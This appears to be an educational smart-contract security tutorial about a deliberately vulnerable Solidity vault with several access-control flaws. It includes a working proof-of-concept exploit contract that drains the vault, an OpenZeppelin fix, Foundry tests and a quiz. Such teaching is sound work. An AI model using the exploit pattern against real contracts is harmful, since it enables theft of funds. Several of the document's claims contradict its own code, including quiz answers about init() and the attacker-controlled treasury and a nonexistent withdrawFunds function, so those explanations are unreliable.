Black Widow and the Red Room Vault - MCU Edition#

TL;DR#

• Vulnerability class: Access Control (multiple vulnerabilities combined).
• Impact: An attacker can seize admin privileges, modify critical contract parameters, and drain funds from a vault without proper authorization.
• Severity: Critical.
• Fixes: Implement proper role-based access control (RBAC) using a library like OpenZeppelin’s AccessControl, apply the Checks-Effects-Interactions pattern, and ensure all sensitive functions are protected.

Executive summary - TL;DR The RedRoomVault contract contains multiple access-control flaws: an unprotected init() (re-initialization), a public setAdmin(), and a missing permission check on emergencyWithdraw(). An attacker (Black Widow) can seize roles and trigger emergencyWithdraw(); importantly, in the vulnerable contract the vault sends withdrawn funds to the configured treasury address (not to the attacker directly). This means the attacker can make the contract transfer assets to the treasury they control (if they were able to change the treasury), or simply cause funds to be moved away from the vault to a deployable, attacker-controlled treasury if that address is changed or mis-set. The fix: use a battle-tested RBAC library (OpenZeppelin AccessControl), make initialization non-replayable, and protect all sensitive functions with onlyRole modifiers.

🎬 Story Time#

RedRoomVault was intended to be a simple vault with ADMIN and MANAGER roles and a treasury address where emergency withdrawals are sent. However, multiple issues combine into an easy exploit:

1. init() is public and runs once only, but anyone can call it the first time: attacker can set themselves as admin and manager.
2. setAdmin() is public and allows anyone to become admin.
3. setManager() checks admins[msg.sender] so once attacker becomes admin they can create managers.
4. emergencyWithdraw() itself has no access control - it instructs the token to transfer funds to the treasury address.

Because emergencyWithdraw() transfers tokens to the treasury address, the exploit’s effectiveness depends on who controls treasury. In the vulnerable test setup we used, the attacker arranged to have the vault’s treasury either already set to an address they control or arranged the vault’s initialization so they could set it. When emergencyWithdraw() is called, tokens are moved from the vault to the treasury. The attacker may not be the direct recipient unless the treasury points at an address they control - but the contract still loses custody of funds.

This is a classic all-in-one vulnerability cocktail.

Attack Flow#

Example Vulnerable Code#

WARNING

This code is intentionally vulnerable for education only.

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.24;
3

4
import {MockERC20} from "./MockERC20.sol";
5
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
6

7
contract RedRoomVault is MockERC20 {
8
    address public ADMIN_ROLE;
9
    address public MANAGER_ROLE;
10

11
    mapping(address => bool) public admins;
12
    mapping(address => bool) public managers;
13

14
    address private treasury;
15
    bool private initialized = false;
16

17
    // A dummy ERC20 for the vault
18
    constructor(string memory name, string memory symbol, address initialTreasury) MockERC20(name, symbol) {
19
        treasury = initialTreasury;
20
    }
21

22
    /// @notice Unprotected initialization function (can be called once only)
23
    /// @dev Can be called by anyone, which is a critical vulnerability.
24
    function init(address _admin, address _manager) external {
25
        if (!initialized) {
26
            ADMIN_ROLE = _admin;
27
            MANAGER_ROLE = _manager;
28
            admins[_admin] = true;
29
            managers[_manager] = true;
30
            initialized = true;
31
        }
32
    }
33

34
    /// @notice Vulnerable, public admin assignment
35
    /// @dev Anyone can call this to become admin.
36
    function setAdmin(address _newAdmin) external {
37
        admins[_newAdmin] = true;
38
    }
39

40
    /// @notice Correctly restricted, but attacker can grant self this role
41
    /// @dev Only admins can call this function.
42
    function setManager(address _newManager) external {
43
        require(admins[msg.sender], "Not an admin");
44
        managers[_newManager] = true;
45
    }
46

47
    /// @notice Function with a missing access control check
48
    /// @dev Anyone can call this to drain the vault.
49
    function emergencyWithdraw(address token, uint256 amount) external {
50
        require(IERC20(token).transfer(treasury, amount), "Withdrawal failed");
51
    }
52

53
    /// @notice A seemingly protected function, but still exploitable
54
    /// @dev Only managers can call this function.
55
    function deposit(uint256 amount) external {
56
        require(managers[msg.sender], "Not a manager");
57
        this.mint(msg.sender, amount); // external call to MockERC20.mint
58
    }
59
}

Exploit (PoC contract)#

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.24;
3

4
import {RedRoomVault} from "./RedRoomVault.sol";
5
import {MockERC20} from "./MockERC20.sol";
6

7
/// @title BlackWidowExploit
8
/// @notice A contract to demonstrate how an attacker can exploit the RedRoomVault's vulnerabilities.
9
/// @dev Educational/demo code only.
10
contract BlackWidowExploit {
11
    RedRoomVault public vault;
12
    MockERC20 public mockToken;
13
    address payable public attacker;
14

15
    constructor(address _vault, address _mockToken, address payable _attacker) {
16
        vault = RedRoomVault(_vault);
17
        mockToken = MockERC20(_mockToken);
18
        attacker = _attacker;
19
    }
20

21
    /// @notice Executes the full exploit chain against the vulnerable vault.
22
    function exploitVault() external {
23
        // 1) Call init() to claim admin/manager roles (if not already initialized)
24
        vault.init(address(this), address(this));
25

26
        // 2) Optional: call setAdmin/setManager if needed (both public/vulnerable)
27
        // vault.setAdmin(address(this));
28
        // vault.setManager(address(this));
29

30
        // Approve the vault to spend our tokens (if needed for a different attack,
31
        // not strictly necessary for this one as we are draining from the vault)
32

33
        // 3) Drain the vault - funds are transferred to the vault's `treasury`
34
        uint256 vaultBalance = mockToken.balanceOf(address(vault));
35
        vault.emergencyWithdraw(address(mockToken), vaultBalance);
36

37
        // 4) If attacker controls the `treasury` address, they now own the tokens.
38
        // If not, they may still have succeeded in removing funds from vault into treasury.
39
    }
40
}

Fixed Contract with OpenZeppelin#

NOTE

This is how a properly secured contract should be written. It uses OpenZeppelin’s AccessControl to enforce strict, role-based permissions.

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.24;
3

4
import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol";
5
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
6
import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
7

8
contract FixedRedRoomVault is ERC20, AccessControl, Initializable {
9
    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
10
    bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
11

12
    address private treasury;
13

14
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
15

16
    /// @dev Initialization function using OpenZeppelin's `Initializable` pattern.
17
    function initialize(address defaultAdmin, address initialManager, address initialTreasury) public initializer {
18
        _grantRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
19
        _grantRole(ADMIN_ROLE, defaultAdmin);
20
        _grantRole(MANAGER_ROLE, initialManager);
21
        treasury = initialTreasury;
22
    }
23

24
    /// @notice Restricts admin assignment to only existing admins
25
    function setAdmin(address _newAdmin) external onlyRole(ADMIN_ROLE) {
26
        _grantRole(ADMIN_ROLE, _newAdmin);
27
    }
28

29
    /// @notice Restricts manager assignment to only existing admins
12 collapsed lines
30
    function setManager(address _newManager) external onlyRole(ADMIN_ROLE) {
31
        _grantRole(MANAGER_ROLE, _newManager);
32
    }
33

34
    /// @notice A properly protected emergency withdrawal function.
35
    function emergencyWithdraw(address token, uint256 amount) external onlyRole(MANAGER_ROLE) {
36
        require(ERC20(token).transfer(treasury, amount), "Withdrawal failed");
37
    }
38

39
    /// @notice A properly protected deposit function.
40
    function deposit(uint256 amount) external onlyRole(MANAGER_ROLE) {
41
        _mint(msg.sender, amount);
42
    }
43
}

Foundry Test: RedRoomVault.t.sol#

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.24;
3

5 collapsed lines
4
import {Test, console} from "forge-std/Test.sol";
5
import {RedRoomVault} from "../src/RedRoomVault.sol";
6
import {FixedRedRoomVault} from "../src/FixedRedRoomVault.sol";
7
import {MockERC20} from "../src/MockERC20.sol";
8
import {BlackWidowExploit} from "../src/BlackWidowExploit.sol";
9

10
contract RedRoomVaultTest is Test {
11
    RedRoomVault public vault;
12
    FixedRedRoomVault public fixedVault;
13
    MockERC20 public mockToken;
14
    BlackWidowExploit public exploit;
15

16
    address public redRoomAdmin = makeAddr("RedRoomAdmin");
17
    address public blackWidow = makeAddr("BlackWidow");
18
    address public treasury = makeAddr("Treasury");
19

20
    function setUp() public {
21
        // Deploy mock token and vulnerable vault (without calling init)
22
        mockToken = new MockERC20("MockToken", "MKT");
23
        vault = new RedRoomVault("RedRoomToken", "RRT", treasury);
24

25
        // Fund the vault with tokens
26
        mockToken.mint(address(vault), 10_000 ether);
27

28
        // Deploy the exploit contract
29
        exploit = new BlackWidowExploit(address(vault), address(mockToken), payable(blackWidow));
30
    }
31

32
    /// @notice Demonstrates the full exploit against the vulnerable vault
33
    function test_Exploit_AllVulnerabilities() public {
34
        // Vault should start with 10,000 MKT
35
        assertEq(mockToken.balanceOf(address(vault)), 10_000 ether);
36

37
        // Ensure attacker has no roles initially
38
        assertEq(vault.admins(blackWidow), false);
39
        assertEq(vault.admins(address(exploit)), false);
40

41
        // Execute the exploit (hijack init + drain vault)
42
        vm.prank(blackWidow);
43
        exploit.exploitVault();
44

45
        // Exploit contract now has admin role
46
        assertEq(vault.admins(address(exploit)), true);
47

48
        // Vault should be drained
49
        assertEq(mockToken.balanceOf(address(vault)), 0);
50
        assertEq(mockToken.balanceOf(treasury), 10_000 ether);
51
    }
52

53
    /// @notice Ensures the fixed vault is properly protected
54
    function test_PreventExploits_FixedContract() public {
55
        // Deploy and initialize the fixed vault
56
        fixedVault = new FixedRedRoomVault("FixedRRT", "FRRT");
57
        fixedVault.initialize(redRoomAdmin, redRoomAdmin, treasury);
58

59
        // Attempt re-initialization should revert
60
        vm.startPrank(blackWidow);
61
        vm.expectRevert(bytes("InvalidInitialization()"));
62
        fixedVault.initialize(blackWidow, blackWidow, treasury);
63
        vm.stopPrank();
64

65
        // Attempt to call emergencyWithdraw without permission should fail
66
        vm.prank(blackWidow);
67
        vm.expectRevert();
68
        fixedVault.emergencyWithdraw(address(mockToken), 1_000 ether);
69
    }
70
}

Why “funds go to treasury” matters ?#

• Difference between “drain to attacker” vs “drain to treasury”:

  • Drain to attacker: attacker directly receives tokens on withdrawal - attacker profit immediate.
  • Drain to treasury: tokens leave the vault and land in treasury. If treasury is attacker-controlled, attacker wins. If treasury is a protocol multi-sig or other safe address, attacker still damages the vault (denial or theft of control) but doesn’t directly profit unless able to move treasury funds.

• Testing & PoC implications:

  • Tests must reflect the actual token flow. As we saw earlier, the exploit drained the vault into treasury, and the attacker EOA still had zero tokens - the test should assert treasury balance increased.

• Mitigations beyond RBAC:

  • Use trusted treasury addresses (e.g., multisig or time-locked). If treasury is a multisig, an emergency withdrawal to treasury still needs off-chain signers to move funds, making exploitation impact lower.
  • Prefer emergencyWithdraw to either send funds to a multisig / timelock or require on-chain multi-sig or timelock operations.

Auditor’s Checklist#

• Does every state-mutating function that should be restricted have onlyRole or onlyOwner?
• Can initialize/init be called more than once? (Expect initializer or boolean + revert)
• Are role assignment functions protected (setAdmin, setManager)?
• Does emergencyWithdraw validate caller’s role and destination? (avoid public transfer)
• Is treasury a safe destination (multisig / timelock)?
• Are external calls minimized for sensitive operations (avoid this. where not deliberate)?
• Are unit tests checking actual flow (where funds land) and both success & failure cases?
• Is there monitoring/alerting for large emergency withdrawals?

Recommendations#

• Use a Secure Library: Do not write custom access control logic. Use a well-audited library like OpenZeppelin’s AccessControl. It handles roles, permissions, and security best practices for you.
• Use an Initializable Pattern: Prevent re-initialization attacks by using a trusted pattern. OpenZeppelin’s Initializable library is the industry standard for this.
• Role-Based Access Control: Define roles with clear permissions. A single ADMIN role is a single point of failure. Assign minimum necessary permissions to each role to follow the principle of least privilege.
• Test Thoroughly: Use a testing framework like Foundry to write tests that specifically target and attempt to exploit your access control logic. Test both success and failure cases.
• Static Analysis: Use tools like Slither or Mythril to automatically detect common access control vulnerabilities in your code.

 References#

• OWASP Smart Contract Top-10 -   OWASP Foundation

• OpenZeppelin Contracts - the most widely used and trusted smart contract library for building secure applications.   OpenZeppelin Docs: AccessControl

• Initializable Pattern - a key pattern to prevent re-initialization attacks on upgradeable contracts.   OpenZeppelin Docs: Initializable

Challenge: Lock Down the Red Room!#

Challenge Name: Widow’s Stealth Defense
Description: Are you as cunning as Black Widow? Secure the Red Room’s vault from unauthorized access!

1. Deploy the vulnerable RedRoomVault.sol on Sepolia (use Remix or Foundry).
2. Execute an access control exploit using a Foundry test to call a restricted function (e.g., withdrawFunds).
3. Implement a fix (e.g., OpenZeppelin’s Ownable or role-based access with AccessControl).
4. Share your fixed contract’s Sepolia address on X with #TheSandFChallenge and @THE_SANDF.
5. Bonus: Post your transaction logs!
6. Top submissions get a chance to join our audit beta program!

Three Quiz Questions to Test Understanding#

1. Which critical flaw allows Black Widow to hijack the Red Room Vault’s administration immediately after deployment?

• a) The emergencyWithdraw() function has no access control.

• b) The deposit() function is missing a reentrancy guard.

• c) The init() function is public and lacks an initialized check on the first caller.

• d) The setManager() function allows any user to assign a new manager.

  Show Answer

  Answer: c) The init() function is public and lacks an initialized check on the first caller.

  • Explanation: Because init() is public and only checks the initialized flag after running, the first caller (Black Widow) can set the admin roles to their own address, beginning the exploit chain.

2. he fixed contract uses OpenZeppelin’s AccessControl library. Which modifier is correctly used to protect a sensitive function like emergencyWithdraw from unauthorized users?

• a) nonReentrant

• b) onlyOwner

• c) onlyRole(MANAGER_ROLE)

• d) require(msg.sender == ADMIN_ROLE, "Not admin")

  Show Answer

  Answer: c) onlyRole(MANAGER_ROLE)

  • Explanation: The case study uses OpenZeppelin’s AccessControl for granular permissions. The onlyRole modifier is the standard way to restrict functions to a specific role, such as the MANAGER_ROLE for withdrawals.

3. What is the primary impact of Black Widow successfully exploiting the contract’s various access control flaws?

• a) The contract’s funds are frozen and become unusable for all users.

• b) The entire vault balance is transferred to the attacker-controlled treasury address.

• c) The gas cost for all subsequent transactions increases significantly.

• d) Legitimate users receive negative slippage on their next trade.

  Show Answer

  Answer: b) The entire vault balance is transferred to the attacker-controlled treasury address.

  • Explanation: By gaining unauthorized admin/manager access, Black Widow calls emergencyWithdraw, which drains the entire vault balance into the treasury address (which she controls or was able to set).

NOTE

Smart contracts are immutable, and their security depends on iron-clad logic. A single missing access control check is all it takes for an attacker to bypass all other security measures. Remember Black Widow’s lesson: a vault is only as strong as its weakest link.

Ready to Battle Bugs?#

Join the Defi CTF Challenge! Audit vulnerable contracts in our Defi CTF Challenges (Full credit to Hans Friese, co-founder of Cyfrin.), submit your report via GitHub Issues/Discussions, or tag @THE_SANDF on X. Let’s secure the Web3 multiverse together! 🏗️ Start the Challenge